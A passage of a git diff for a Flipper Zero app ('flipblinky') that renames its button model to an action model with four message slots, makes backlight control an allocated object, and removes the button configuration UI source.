ActionModelFieldColorDown) && !flipper_format_write_uint32(flipper_format, "ColorDown", &data32, 1)) { return false; } - float dataf = button_model_get_frequency(model); - if((fields & ButtonModelFieldFrequency) && + float dataf = action_model_get_frequency(model); + if((fields & ActionModelFieldFrequency) && !flipper_format_write_float(flipper_format, "Frequency", &dataf, 1)) { return false; } - FuriString* str = button_model_get_message(model); - if((fields & ButtonModelFieldMessage)) { - FuriString* temp_str = NULL; - if(str == NULL) { - temp_str = furi_string_alloc(); + if((fields & ActionModelFieldMessage)) { + FuriString* empty_str = furi_string_alloc(); + + FuriString* str = action_model_get_message(model, 0); + if(!flipper_format_write_string(flipper_format, "Message", str ? str : empty_str)) { + if(empty_str) { + furi_string_free(empty_str); + } + return false; + } + + str = action_model_get_message(model, 1); + if(!flipper_format_write_string(flipper_format, "Message2", str ? str : empty_str)) { + if(empty_str) { + furi_string_free(empty_str); + } + return false; + } + + str = action_model_get_message(model, 2); + if(!flipper_format_write_string(flipper_format, "Message3", str ? str : empty_str)) { + if(empty_str) { + furi_string_free(empty_str); + } + return false; } - if(!flipper_format_write_string(flipper_format, "Message", str ? str : temp_str)) { - if(temp_str) { - furi_string_free(temp_str); + + str = action_model_get_message(model, 3); + if(!flipper_format_write_string(flipper_format, "Message4", str ? str : empty_str)) { + if(empty_str) { + furi_string_free(empty_str); } return false; } - if(temp_str) { - furi_string_free(temp_str); + + if(empty_str) { + furi_string_free(empty_str); } } - uint16_t size = button_model_get_keystrokes_count(model); + uint16_t size = action_model_get_keystrokes_count(model); data32 = size; - if((fields & ButtonModelFieldKeystrokes) && + if((fields & ActionModelFieldKeystrokes) && !flipper_format_write_uint32(flipper_format, "KeystrokeCount", &data32, 1)) { return false; } - if((fields & ButtonModelFieldKeystrokes) && size != 0) { + if((fields & ActionModelFieldKeystrokes) && size != 0) { uint32_t* info = malloc(sizeof(uint32_t) * 2 * size); for(uint8_t i = 0; i < size; i++) { - Keystroke keystroke = button_model_get_keystroke(model, i); + Keystroke keystroke = action_model_get_keystroke(model, i); info[i * 2] = (uint32_t)keystroke.button_code; info[i * 2 + 1] = (uint32_t)keystroke.count; } @@ -430,42 +457,51 @@ bool button_model_save(ButtonModel* model, FlipperFormat* flipper_format, Button } /** - * @brief Searches a FlipperFormat for a KeyId/ButtonId and returns the Fields. - * @param button_id The button id to search for. + * @brief Searches a FlipperFormat for a ActionId/KeyId/ButtonId and returns the Fields. + * @param action_id The action id to search for. * @param flipper_format The FlipperFormat to search in. - * @return The fields that were loaded (ButtonModelFieldNone if not found) + * @return The fields that were loaded (ActionModelFieldNone if not found) */ -static ButtonModelFields - button_model_load_has_id(uint16_t button_id, FlipperFormat* flipper_format) { +static ActionModelFields + action_model_load_has_id(uint16_t action_id, FlipperFormat* flipper_format) { uint32_t data32; flipper_format_rewind(flipper_format); + while(flipper_format_read_uint32(flipper_format, "ActionId", &data32, 1)) { + if(data32 == action_id) { + if(flipper_format_read_uint32(flipper_format, "Fields", &data32, 1)) { + return (ActionModelFields)data32; + } + return (ActionModelFields)ActionModelFieldNone; + } + } + flipper_format_rewind(flipper_format); while(flipper_format_read_uint32(flipper_format, "ButtonId", &data32, 1)) { - if(data32 == button_id) { + if(data32 == action_id) { if(flipper_format_read_uint32(flipper_format, "Fields", &data32, 1)) { - return (ButtonModelFields)data32; + return (ActionModelFields)data32; } - return (ButtonModelFields)ButtonModelFieldNone; + return (ActionModelFields)ActionModelFieldNone; } } flipper_format_rewind(flipper_format); while(flipper_format_read_uint32(flipper_format, "KeyId", &data32, 1)) { - if(data32 == button_id) { + if(data32 == action_id) { if(flipper_format_read_uint32(flipper_format, "Fields", &data32, 1)) { - return (ButtonModelFields)data32; + return (ActionModelFields)data32; } - return (ButtonModelFields)ButtonModelFieldNone; + return (ActionModelFields)ActionModelFieldNone; } } - return (ButtonModelFields)ButtonModelFieldNone; + return (ActionModelFields)ActionModelFieldNone; } /** - * @brief Loads the button model from a FlipperFormat. + * @brief Loads the action model from a FlipperFormat. * @param model The model to load. * @param flipper_format The FlipperFormat to load from. */ -static void button_model_load_fields(ButtonModel* model, FlipperFormat* flipper_format) { +static void action_model_load_fields(ActionModel* model, FlipperFormat* flipper_format) { uint32_t data32; float dataf; FuriString* message = furi_string_alloc(); @@ -484,8 +520,29 @@ static void button_model_load_fields(ButtonModel* model, FlipperFormat* flipper_ if(flipper_format_read_string(flipper_format, "Message", message)) { if(furi_string_size(message)) { - button_model_set_message(model, furi_string_get_cstr(message)); + action_model_set_message(model, furi_string_get_cstr(message), 0); + } + } + + if(flipper_format_read_string(flipper_format, "Message2", message)) { + if(furi_string_size(message)) { + action_model_set_message(model, furi_string_get_cstr(message), 1); + } + + if(flipper_format_read_string(flipper_format, "Message3", message)) { + if(furi_string_size(message)) { + action_model_set_message(model, furi_string_get_cstr(message), 2); + } } + + if(flipper_format_read_string(flipper_format, "Message4", message)) { + if(furi_string_size(message)) { + action_model_set_message(model, furi_string_get_cstr(message), 3); + } + } + } else { + // Message 2 not found, so legacy format. Rewind to being of Id. + action_model_load_has_id(model->action_id, flipper_format); } if(flipper_format_read_uint32(flipper_format, "KeystrokeCount", &data32, 1)) { @@ -496,7 +553,7 @@ static void button_model_load_fields(ButtonModel* model, FlipperFormat* flipper_ if(flipper_format_read_uint32(flipper_format, "Keystrokes", info, num_ints)) { for(uint8_t i = 0; i < num_entries; i++) { if(info[i * 2]) { - button_model_append_keystroke(model, info[i * 2], info[i * 2 + 1]); + action_model_append_keystroke(model, info[i * 2], info[i * 2 + 1]); } } } @@ -508,15 +565,15 @@ static void button_model_load_fields(ButtonModel* model, FlipperFormat* flipper_ } /** - * @brief Loads the button model from a FlipperFormat. + * @brief Loads the action model from a FlipperFormat. * @param model The model to load. * @param flipper_format The FlipperFormat to load from. - * @return The fields that were loaded (ButtonModelFieldNone if not found) + * @return The fields that were loaded (ActionModelFieldNone if not found) */ -ButtonModelFields button_model_load(ButtonModel* model, FlipperFormat* flipper_format) { - ButtonModelFields fields = button_model_load_has_id(model->button_id, flipper_format); +ActionModelFields action_model_load(ActionModel* model, FlipperFormat* flipper_format) { + ActionModelFields fields = action_model_load_has_id(model->action_id, flipper_format); if(fields) { - button_model_load_fields(model, flipper_format); + action_model_load_fields(model, flipper_format); } return fields; diff --git a/applications/external/flipblinky/common/action_model.h b/applications/external/flipblinky/common/action_model.h new file mode 100644 index 00000000000..cd38a24645b --- /dev/null +++ b/applications/external/flipblinky/common/action_model.h @@ -0,0 +1,247 @@ +/** + * @file action_model.h + * @brief This file contains the ActionModel type and related functions. + * @details This file contains the ActionModel type and related functions. + * The ActionModel type is used to store the settings for an action, for + * example the color, frequency, message, and keystrokes. + */ + +#pragma once + +#include +#include + +typedef struct ActionModel ActionModel; + +typedef struct { + uint16_t button_code; + uint8_t count; +} Keystroke; + +typedef enum { + ActionModelFieldNone = 0, + ActionModelFieldColorUp = 1 << 0, + ActionModelFieldColorDown = 1 << 1, + ActionModelFieldFrequency = 1 << 2, + ActionModelFieldMessage = 1 << 3, + ActionModelFieldKeystrokes = 1 << 4, + ActionModelFieldAll = (1 << 5) - 1, +} ActionModelFields; + +/** + * @brief Allocates a new action model. + * @param action_id The action id for the model. + * @return The new action model. + */ +ActionModel* action_model_alloc(uint8_t action_id); + +/** + * @brief Allocates a new action model from a FlipperFormat. + * @param action_id The action id for the model. + * @param flipper_format The FlipperFormat to load from. + * @return The new action model. +*/ +ActionModel* action_model_alloc_from_ff(uint8_t action_id, FlipperFormat* flipper_format); + +/** + * @brief Frees a action model. + * @param model The model to free. + */ +void action_model_free(ActionModel* model); + +/** + * @brief Gets the action id for the model. + * @param model The model to get the action id for. + * @return The action id for the model. + */ +uint8_t action_model_get_action_id(ActionModel* model); + +/** + * @brief Gets the HEX color when the action is not active. + * @param model The model to get the color for. + * @return The hex color for when action is not active. + */ +uint32_t action_model_get_color_up(ActionModel* model); + +/** + * @brief Gets the HEX color when the action is active. + * @param model The model to get the color for. + * @return The hex color for when action is active. + */ +uint32_t action_model_get_color_down(ActionModel* model); + +/** + * @brief Gets the index of the menu item for editing the message. + * @param model The model to get the message index for. + * @return The index of the menu item for editing the message. + */ +uint8_t action_model_get_message_index(ActionModel* model); + +/** + * @brief Gets the index of the menu item for adding a keystroke. + * @param model The model to get the keystroke index for. + * @return The index of the menu item for adding a keystroke. + */ +uint8_t action_model_get_keystroke_index(ActionModel* model); + +/** + * @brief Gets the temp buffer for editing the message. + * @param model The model to get the temp buffer for. + * @return The temp buffer for editing the message. + */ +char* action_model_get_temp_buffer(ActionModel* model); + +/** + * @brief Gets the size of the temp buffer for editing the message. + * @param model The model to get the temp buffer size for. + * @return The size of the temp buffer for editing the message. + */ +size_t action_model_get_temp_buffer_size(ActionModel* model); + +/** + * @brief Gets the index of the item being edited. + * @param model The model to get the temp index for. + * @return The index of the item being edited. + */ +uint8_t action_model_get_temp_index(ActionModel* model); + +/** + * @brief Gets the action config associated with this model. + * @param model The model to get the action config for. + * @return The action config associated with this model. + */ +void* action_model_get_action_config(ActionModel* model); + +/** + * @brief Gets the frequency for the action, in Hz. + * @param model The model to get the frequency for. + * @return The frequency for the action. + */ +float action_model_get_frequency(ActionModel* model); + +/** + * @brief Gets the number of keystrokes for the action. + * @param model The model to get the keystrokes count for. + * @return The number of keystrokes for the action. + */ +uint8_t action_model_get_keystrokes_count(ActionModel* model); + +/** + * @brief Gets the keystroke at the given index. + * @param model The model to get the keystroke for. + * @param index The index of the keystroke to get. + * @return The keystroke at the given index. + */ +Keystroke action_model_get_keystroke(ActionModel* model, uint8_t index); + +/** + * @brief Gets the message for the action. + * @param model The model to get the message for. + * @param message_number The message number to get. + * @return The message for the action. + */ +FuriString* action_model_get_message(ActionModel* model, uint8_t message_number); + +/** + * @brief Sets the HEX color when the action is not active. + * @param model The model to set the color for. + * @param color_up The hex color for when action is not active. + */ +void action_model_set_color_up(ActionModel* model, uint32_t color_up); + +/** + * @brief Sets the HEX color when the action is pressed. + * @param model The model to set the color for. + * @param color_down The hex color for when action is pressed down. + */ +void action_model_set_color_down(ActionModel* model, uint32_t color_down); + +/** + * @brief Sets the index of the menu item for editing the message. + * @param model The model to set the message index for. + * @param index The index of the menu item for editing the message. + */ +void action_model_set_message_index(ActionModel* model, uint8_t index); + +/** + * @brief Sets the index of the menu item for adding a keystroke. + * @param model The model to set the keystroke index for. + * @param index The index of the menu item for adding a keystroke. + */ +void action_model_set_keystroke_index(ActionModel* model, uint8_t index); + +/** + * @brief Sets the index of the item being edited. + * @param model The model to set the temp index for. + */ +void action_model_set_temp_index(ActionModel* model, uint8_t index); + +/** + * @brief Sets the action config associated with this model. + * @param model The model to set the action config for. + * @param action_config The action config associated with this model. + */ +void action_model_set_action_config(ActionModel* model, void* action_config); + +/** + * @brief Sets the frequency for the action, in Hz. + * @param model The model to set the frequency for. + * @param frequency The frequency for the action. + */ +void action_model_set_frequency(ActionModel* model, float frequency); + +/** + * @brief Sets the keystrokes and count for the action. + * @param model The model to set the keystrokes count for. + * @param index The index of the keystroke to set. + * @param button_code The key code to send when this key is pressed. + * @param count The number of keystrokes for the button. + * @return True if the keystroke was set, false otherwise. + */ +bool action_model_set_keystroke( + ActionModel* model, + uint8_t index, + uint16_t button_code, + uint8_t count); + +/** + * @brief Appends a keystroke to the action. + * @param model The model to append the keystroke to. + * @param button_code The key code to send when this key is pressed. + * @param count The number of keystrokes for the button. + */ +void action_model_append_keystroke(ActionModel* model, uint16_t button_code, uint8_t count); + +/** + * @brief Removes the last keystroke from the action. + * @param model The model to remove the keystroke from. + * @return True if the keystroke was removed, false otherwise. + */ +bool action_model_remove_last_keystroke(ActionModel* model); + +/** + * @brief Sets the message for the action. + * @details Sets the message for the action. If the message is a space character, it will be + * be considered as empty string. + * @param model The model to set the message for. + * @param message The message for the action. + * @param message_number The message number to set. + */ +void action_model_set_message(ActionModel* model, const char* message, uint8_t message_number); + +/** + * @brief Saves the action model to a FlipperFormat. + * @param model The model to save. + * @param flipper_format The FlipperFormat to save to. + * @param fields The fields to save. + * @return True if the model was saved, false otherwise. + */ +bool action_model_save(ActionModel* model, FlipperFormat* flipper_format, ActionModelFields fields); + +/** + * @brief Loads the action model from a FlipperFormat. + * @param model The model to load. + * @param flipper_format The FlipperFormat to load from. + * @return The fields that were loaded (ActionModelFieldNone if not found) +*/ +ActionModelFields action_model_load(ActionModel* model, FlipperFormat* flipper_format); diff --git a/applications/external/flipblinky/common/button_model_i.h b/applications/external/flipblinky/common/action_model_i.h similarity index 66% rename from applications/external/flipblinky/common/button_model_i.h rename to applications/external/flipblinky/common/action_model_i.h index bff2a235fca..8f4d271b17c 100644 --- a/applications/external/flipblinky/common/button_model_i.h +++ b/applications/external/flipblinky/common/action_model_i.h @@ -1,10 +1,10 @@ #pragma once -#include "button_model.h" +#include "action_model.h" -struct ButtonModel { - // The button this setting is for (0-15) - uint8_t button_id; +struct ActionModel { + // The action this setting is for (0-15) + uint8_t action_id; // Hex color (RRGGBB) for the key when it is not pressed uint32_t color_up; @@ -25,7 +25,7 @@ struct ButtonModel { uint8_t keystroke_index; // Message to send when this key is pressed - FuriString* message; + FuriString* message[4]; // Temp buffer for editing message char* temp_buffer; @@ -34,9 +34,14 @@ struct ButtonModel { // Index of the menu item for editing message uint8_t message_index; - // ButtonConfig associated with this key - void* button_config; + // ActionConfig associated with this key + void* action_config; // Temp index. Used for storing the index of the key being edited uint8_t temp_index; -}; \ No newline at end of file +}; + +static ActionModelFields + action_model_load_has_id(uint16_t action_id, FlipperFormat* flipper_format); + +static void action_model_load_fields(ActionModel* model, FlipperFormat* flipper_format); \ No newline at end of file diff --git a/applications/external/flipblinky/common/app_menu.c b/applications/external/flipblinky/common/app_menu.c index 985e29168f1..0d79fd22bd0 100644 --- a/applications/external/flipblinky/common/app_menu.c +++ b/applications/external/flipblinky/common/app_menu.c @@ -1,5 +1,9 @@ #include "app_menu_i.h" +/** + * @brief Global ViewDispatcher pointer. + * @details This global is due to submenu context being fixed to submenu. +*/ static ViewDispatcher* global_view_dispatcher; /** diff --git a/applications/external/flipblinky/common/app_menu.h b/applications/external/flipblinky/common/app_menu.h index e81160390e8..782f4082877 100644 --- a/applications/external/flipblinky/common/app_menu.h +++ b/applications/external/flipblinky/common/app_menu.h @@ -1,12 +1,17 @@ -#pragma once - /** * @file app_menu.h * @brief This file contains the AppMenu type and related functions. * @details This file contains the AppMenu type and related functions. * The app_menu module is used to create and show the main application menu. + * + * FLIPBOARD_APP_MENU_VIEW_ID is used to identify the main application menu view. + * Exiting this menu (Back button) exits the application. + * CustomEventAppMenuEnter happens on displaying main application menu. + * CustomEventAppMenuExit happens on exit. */ +#pragma once + #include #include diff --git a/applications/external/flipblinky/common/app_menu_i.h b/applications/external/flipblinky/common/app_menu_i.h index f69751092ad..fe09cfdeabc 100644 --- a/applications/external/flipblinky/common/app_menu_i.h +++ b/applications/external/flipblinky/common/app_menu_i.h @@ -12,5 +12,5 @@ ARRAY_DEF(ViewIdsArray, uint32_t, M_PTR_OPLIST); struct AppMenu { ViewDispatcher* view_dispatcher; Submenu* submenu; - ViewIdsArray_t view_ids; + ViewIdsArray_t view_ids; // List of view ids for each menu item }; \ No newline at end of file diff --git a/applications/external/flipblinky/common/backlight.c b/applications/external/flipblinky/common/backlight.c index 53b5b82f119..ba595910355 100644 --- a/applications/external/flipblinky/common/backlight.c +++ b/applications/external/flipblinky/common/backlight.c @@ -1,16 +1,46 @@ #include "backlight_i.h" -static bool backlight_on_setting = false; +struct Backlight { + bool backlight_on_setting; +}; + +/** + * @brief Allocates a new Backlight object. + * @details Creates a new Backlight object. The Backlight object is responsible for + * controlling the backlight. You can turn the backlight on, or turn it back + * off (unless user interaction). + * @return Pointer to Backlight object. +*/ +Backlight* backlight_alloc() { + Backlight* backlight = malloc(sizeof(Backlight)); + backlight->backlight_on_setting = false; + return backlight; +} + +/** + * @brief Frees a Backlight object. + * @details Frees a Backlight object. + * @param backlight Pointer to Backlight object. +*/ +void backlight_free(Backlight* backlight) { + if(backlight) { + if(backlight->backlight_on_setting) { + backlight_off(backlight); + } + free(backlight); + } +} /** * @brief Turns on backlight, even if no user interaction. + * @param backlight Pointer to Backlight object. */ -void backlight_on() { - if(backlight_on_setting) { +void backlight_on(Backlight* backlight) { + if(!backlight || backlight->backlight_on_setting) { return; } - backlight_on_setting = true; + backlight->backlight_on_setting = true; notification_message( furi_record_open(RECORD_NOTIFICATION), &sequence_display_backlight_enforce_on); @@ -19,13 +49,14 @@ void backlight_on() { /** * @brief Turns off backlight, unless there is user interaction. + * @param backlight Pointer to Backlight object. */ -void backlight_off() { - if(!backlight_on_setting) { +void backlight_off(Backlight* backlight) { + if(!backlight || !backlight->backlight_on_setting) { return; } - backlight_on_setting = false; + backlight->backlight_on_setting = false; notification_message( furi_record_open(RECORD_NOTIFICATION), &sequence_display_backlight_enforce_auto); diff --git a/applications/external/flipblinky/common/backlight.h b/applications/external/flipblinky/common/backlight.h index 0d97353ad32..ef8607e5f24 100644 --- a/applications/external/flipblinky/common/backlight.h +++ b/applications/external/flipblinky/common/backlight.h @@ -1,19 +1,39 @@ -#pragma once - /** * @file backlight.h * @brief This file contains the backlight module. * @details This file contains the backlight module. The backlight module is * responsible for controlling the backlight. You can turn the backlight on, - * off, or force it off. + * or turn it back off (unless user interaction). +*/ + +#pragma once + +typedef struct Backlight Backlight; + +/** + * @brief Allocates a new Backlight object. + * @details Creates a new Backlight object. The Backlight object is responsible for + * controlling the backlight. You can turn the backlight on, or turn it back + * off (unless user interaction). + * @return Pointer to Backlight object. +*/ +Backlight* backlight_alloc(); + +/** + * @brief Frees a Backlight object. + * @details Frees a Backlight object. + * @param backlight Pointer to Backlight object. */ +void backlight_free(Backlight* backlight); /** * @brief Turns on backlight, even if no user interaction. + * @param backlight Pointer to Backlight object. */ -void backlight_on(); +void backlight_on(Backlight* backlight); /** * @brief Turns off backlight, unless there is user interaction. + * @param backlight Pointer to Backlight object. */ -void backlight_off(); +void backlight_off(Backlight* backlight); diff --git a/applications/external/flipblinky/common/button_config.c b/applications/external/flipblinky/common/button_config.c deleted file mode 100644 index df00b87e752..00000000000 --- a/applications/external/flipblinky/common/button_config.c +++ /dev/null @@ -1,607 +0,0 @@ -#include "button_config_i.h" - -static void populate_variable_item_list(ButtonConfig* button_config, ButtonModel* bm); - -/** - * @brief color_up_changed is called when the color up setting is changed. - * @param item The VariableItem that was changed. - */ -static void color_up_changed(VariableItem* item) { - ButtonModel* bm = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - button_model_set_color_up(bm, color_values[index]); - variable_item_set_current_value_text(item, color_names[index]); -} - -/** - * @brief color_down_changed is called when the color down setting is changed. - * @param item The VariableItem that was changed. - */ -static void color_down_changed(VariableItem* item) { - ButtonModel* bm = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - button_model_set_color_down(bm, color_values[index]); - variable_item_set_current_value_text(item, color_names[index]); -} - -/** - * @brief tone_changed is called when the tone setting is changed. - * @param item The VariableItem that was changed. - */ -static void tone_changed(VariableItem* item) { - ButtonModel* bm = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - button_model_set_frequency(bm, tone_values[index]); - variable_item_set_current_value_text(item, tone_names[index]); -} - -/** - * @brief maps a menu item index into to keystroke index. - * @details maps a menu item index into to keystroke index. Determining the - * index relies on the fact that the menu items are added in the order of - * Keystroke, Count, Keystroke, Count, etc. and then finally Add Keystroke. - * @param bm The ButtonModel. - * @return The keystroke index -*/ -static uint8_t keystroke_item_index(ButtonModel* bm) { - ButtonConfig* button_config = (ButtonConfig*)button_model_get_button_config(bm); - uint8_t add_item_index = button_model_get_keystroke_index(bm); - uint8_t count = button_model_get_keystrokes_count(bm); - uint8_t offset = add_item_index - (count * 2); - uint8_t selected_item_index = - variable_item_list_get_selected_item_index(button_config->item_list); - uint8_t item_index = (selected_item_index - offset) / 2; - FURI_LOG_D("Flipboard", "item_index=%d", item_index); - return item_index; -} - -/** - * @brief keystroke_changed is called when the keystroke setting is changed. - * @param item The VariableItem that was changed. - */ -static void keystroke_changed(VariableItem* item) { - ButtonModel* bm = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - uint8_t item_index = keystroke_item_index(bm); - Keystroke ks = button_model_get_keystroke(bm, item_index); - FURI_LOG_D("Flipboard", "ks.button_code=%d .count=%d", ks.button_code, ks.count); - button_model_set_keystroke(bm, item_index, keystroke_values[index], ks.count); - variable_item_set_current_value_text(item, keystroke_names[index]); -} - -/** - * @brief keystroke_count_changed is called when the keystroke count setting is changed. - * @param item The VariableItem that was changed. -*/ -static void keystroke_count_changed(VariableItem* item) { - ButtonModel* bm = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - uint8_t item_index = keystroke_item_index(bm); - Keystroke ks = button_model_get_keystroke(bm, item_index); - FURI_LOG_D("Flipboard", "ks.button_code=%d .count=%d", ks.button_code, ks.count); - button_model_set_keystroke(bm, item_index, ks.button_code, index); - variable_item_set_current_value_text(item, keystroke_count_names[index]); -} - -/** - * @brief populate_variable_item_list_color adds a color configuration. - * @details populate_variable_item_list_color adds a color configuration. It - * adds a VariableItem (config) to the VariableItemList. It sets the current - * value index to the index of the color passed in, if it finds a match. - * @param button_config The ButtonConfig. - * @param bm The ButtonModel. - * @param label The label for the setting. - * @param callback The callback for when the setting is changed. - * @param initial_color The initial color in HEX to default to (RRGGBB). -*/ -static void populate_variable_item_list_color( - ButtonConfig* button_config, - ButtonModel* bm, - char* label, - VariableItemChangeCallback callback, - uint32_t initial_color) { - VariableItem* item = variable_item_list_add( - button_config->item_list, label, COUNT_OF(color_names), callback, bm); - uint8_t index = 0; - for(size_t i = 0; i < COUNT_OF(color_values); i++) { - if(initial_color == color_values[i]) { - index = i; - break; - } - } - variable_item_set_current_value_index(item, index); - variable_item_set_current_value_text(item, color_names[index]); -} - -/** - * @brief populate_variable_item_list_frequency adds a frequency configuration. - * @details populate_variable_item_list_frequency adds a frequency configuration. - * It sets the current value index to the index of the frequency passed in, if - * it finds a match. - * @param button_config The ButtonConfig. - * @param bm The ButtonModel. - * @param label The label for the setting. - * @param callback The callback for when the setting is changed. - * @param frequency The initial frequency to default to. -*/ -static void populate_variable_item_list_frequency( - ButtonConfig* button_config, - ButtonModel* bm, - char* label, - VariableItemChangeCallback callback, - float frequency) { - VariableItem* item = variable_item_list_add( - button_config->item_list, label, COUNT_OF(tone_names), callback, bm); - uint8_t index = 0; - for(size_t i = 0; i < COUNT_OF(tone_values); i++) { - float diff = frequency - tone_values[i]; - if(diff < 0.0f) diff = -diff; - if(diff < 1.0f) { - index = i; - break; - } - } - variable_item_set_current_value_index(item, index); - variable_item_set_current_value_text(item, tone_names[index]); -} - -/** - * @brief populate_variable_item_list_keystrokes adds keystroke and count configurations. - * @param button_config The ButtonConfig. - * @param bm The ButtonModel. - * @return The number of lines added. -*/ -static uint8_t - populate_variable_item_list_keystrokes(ButtonConfig* button_config, ButtonModel* bm) { - uint8_t lines_added = 0; - - uint8_t count = button_model_get_keystrokes_count(bm); - - for(int j = 0; j < count; j++) { - Keystroke ks = button_model_get_keystroke(bm, j); - FURI_LOG_D("Flipboard", "POPULATE ks.button_code=%d .count=%d", ks.button_code, ks.count); - - VariableItem* item = variable_item_list_add( - button_config->item_list, - "Keystroke", - COUNT_OF(keystroke_names), - keystroke_changed, - bm); - lines_added++; - uint8_t index = 0; - for(size_t i = 0; i < COUNT_OF(keystroke_names); i++) { - if(keystroke_values[i] == ks.button_code) { - index = i; - break; - } - } - variable_item_set_current_value_index(item, index); - variable_item_set_current_value_text(item, keystroke_names[index]); - - item = variable_item_list_add( - button_config->item_list, - "Count", - COUNT_OF(keystroke_count_names), - keystroke_count_changed, - bm); - lines_added++; - index = COUNT_OF(keystroke_count_names) - 1; - for(size_t i = 0; i < COUNT_OF(keystroke_count_names); i++) { - if(i == ks.count) { - index = i; - break; - } - } - variable_item_set_current_value_index(item, index); - variable_item_set_current_value_text(item, keystroke_count_names[index]); - } - - return lines_added; -} - -/** - * @brief message_updated is called when the text message is updated. - * @param context The ButtonModel. - */ -static void message_updated(void* context) { - ButtonModel* bm = (ButtonModel*)context; - ButtonConfig* button_config = (ButtonConfig*)button_model_get_button_config(bm); - furi_assert(button_config); - button_model_set_message(bm, button_model_get_temp_buffer(bm)); - view_dispatcher_switch_to_view( - button_config->view_dispatcher, button_config->view_item_list_id); -} - -/** - * @brief keystroke_selector_callback is called when a keystroke is selected. - * @param button_code The button code that was selected. - * @param context The ButtonModel. -*/ -static void keystroke_selector_callback(uint16_t button_code, void* context) { - ButtonModel* bm = (ButtonModel*)context; - ButtonConfig* button_config = (ButtonConfig*)button_model_get_button_config(bm); - uint8_t item = button_model_get_temp_index(bm); - Keystroke ks = button_model_get_keystroke(bm, item); - if(ks.button_code != button_code) { - button_model_set_keystroke(bm, (uint8_t)item, button_code, ks.count); - populate_variable_item_list(button_config, bm); - } - view_dispatcher_switch_to_view( - button_config->view_dispatcher, button_config->view_item_list_id); -} - -/** - * @brief item_clicked is called when an item is clicked in the config menu. - * @details item_clicked is called when an item is clicked in the config menu. - * It determines which item was clicked and switches to the appropriate view, - * if the item has an editor. - * @param context The ButtonModel. - * @param index The index of the item that was clicked. -*/ -static void item_clicked(void* context, uint32_t index) { - ButtonModel* bm = (ButtonModel*)context; - uint8_t message_index = button_model_get_message_index(bm); - if(index == message_index) { - FURI_LOG_D("Flipboard", "Message index clicked"); - ButtonConfig* button_config = (ButtonConfig*)button_model_get_button_config(bm); - furi_assert(button_config); - - text_input_set_header_text(button_config->text_input, "Enter message"); - if(button_model_get_message(bm)) { - strncpy( - button_model_get_temp_buffer(bm), - furi_string_get_cstr(button_model_get_message(bm)), - button_model_get_temp_buffer_size(bm) - 1); - } else { - button_model_get_temp_buffer(bm)[0] = 0; - } - - view_set_previous_callback( - text_input_get_view(button_config->text_input), - get_menu_callback(button_config->view_item_list_id)); - - text_input_set_result_callback( - button_config->text_input, - message_updated, - bm, - button_model_get_temp_buffer(bm), - button_model_get_temp_buffer_size(bm), - false); - - view_dispatcher_switch_to_view( - button_config->view_dispatcher, button_config->view_text_input_id); - - return; - } - - uint8_t keystroke_index = button_model_get_keystroke_index(bm); - if(index == keystroke_index) { - FURI_LOG_D("Flipboard", "Keystroke index clicked"); - ButtonConfig* button_config = (ButtonConfig*)button_model_get_button_config(bm); - - uint16_t keycode = 0; - button_model_append_keystroke(bm, keycode, 1); - - populate_variable_item_list(button_config, bm); - return; - } - - if(index > message_index && index < keystroke_index) { - uint32_t item = (index - message_index); - if(item % 2 == 0) { - FURI_LOG_D("Flipboard", "Count clicked. Ignorning"); - return; - } - - item = item / 2; - ButtonConfig* button_config = (ButtonConfig*)button_model_get_button_config(bm); - if(button_config->keystroke_selector == NULL) { - return; - } - - view_set_previous_callback( - keystroke_selector_get_view(button_config->keystroke_selector), - get_menu_callback(button_config->view_item_list_id)); - - Keystroke keystroke = button_model_get_keystroke(bm, (uint8_t)item); - keystroke_selector_set_key(button_config->keystroke_selector, keystroke.button_code); - button_model_set_temp_index(bm, (uint8_t)item); - keystroke_selector_set_callback( - button_config->keystroke_selector, keystroke_selector_callback, bm); - - view_dispatcher_switch_to_view( - button_config->view_dispatcher, button_config->view_keystroke_selector_id); - - return; - } - - FURI_LOG_D("Flipboard", "Unknown index clicked %ld", index); -} - -/** - * @brief populate_variable_item_list adds the variable items to the list. - * @details populate_variable_item_list adds the variable items to the list. It starts - * by resetting the list. Then it adds the items based on the fields in the - * ButtonConfig and the ButtonModel. - * @param button_config The ButtonConfig. - * @param bm The ButtonModel. -*/ -static void populate_variable_item_list(ButtonConfig* button_config, ButtonModel* bm) { - variable_item_list_reset(button_config->item_list); - uint8_t item_index = 0; - - if(flipboard_model_get_button_model_fields(button_config->model) & ButtonModelFieldColorDown) { - populate_variable_item_list_color( - button_config, bm, "Press color", color_down_changed, button_model_get_color_down(bm)); - item_index++; - } - - if(flipboard_model_get_button_model_fields(button_config->model) & ButtonModelFieldColorUp) { - populate_variable_item_list_color( - button_config, bm, "Release color", color_up_changed, button_model_get_color_up(bm)); - item_index++; - } - - if(flipboard_model_get_button_model_fields(button_config->model) & ButtonModelFieldFrequency) { - populate_variable_item_list_frequency( - button_config, bm, "Music note", tone_changed, button_model_get_frequency(bm)); - item_index++; - } - - if(flipboard_model_get_button_model_fields(button_config->model) & ButtonModelFieldMessage) { - variable_item_list_add(button_config->item_list, "Message", 0, NULL, NULL); - variable_item_list_set_enter_callback(button_config->item_list, item_clicked, bm); - button_model_set_message_index(bm, item_index); - item_index++; - } - - if(flipboard_model_get_button_model_fields(button_config->model) & - ButtonModelFieldKeystrokes) { - item_index += populate_variable_item_list_keystrokes(button_config, bm); - variable_item_list_add(button_config->item_list, "Add Keystroke", 0, NULL, NULL); - variable_item_list_set_enter_callback(button_config->item_list, item_clicked, bm); - button_model_set_keystroke_index(bm, item_index); - item_index++; - } -} - -/** - * @brief item_callback is called when a button is selected in the menu. - * @details item_callback is called when a button is selected in the menu. It - * sets the ButtonConfig in the ButtonModel. It then populates the - * VariableItemList with the settings for the button. Finally, it switches to - * the VariableItemList view. - * @param context The ButtonConfig. - * @param index The index of the button that was selected. -*/ -static void item_callback(void* context, uint32_t index) { - ButtonConfig* button_config = (ButtonConfig*)context; - FlipboardModel* model = button_config->model; - ButtonModel* bm = flipboard_model_get_button_model(model, index); - if(!bm) { - FURI_LOG_E("TAG", "Index=%ld bm=NULL", index); - } else { - FURI_LOG_D("TAG", "Index=%ld bm.button_id=%d", index, button_model_get_button_id(bm)); - } - - furi_assert(bm && button_model_get_button_id(bm) == index); - button_model_set_button_config(bm, button_config); - 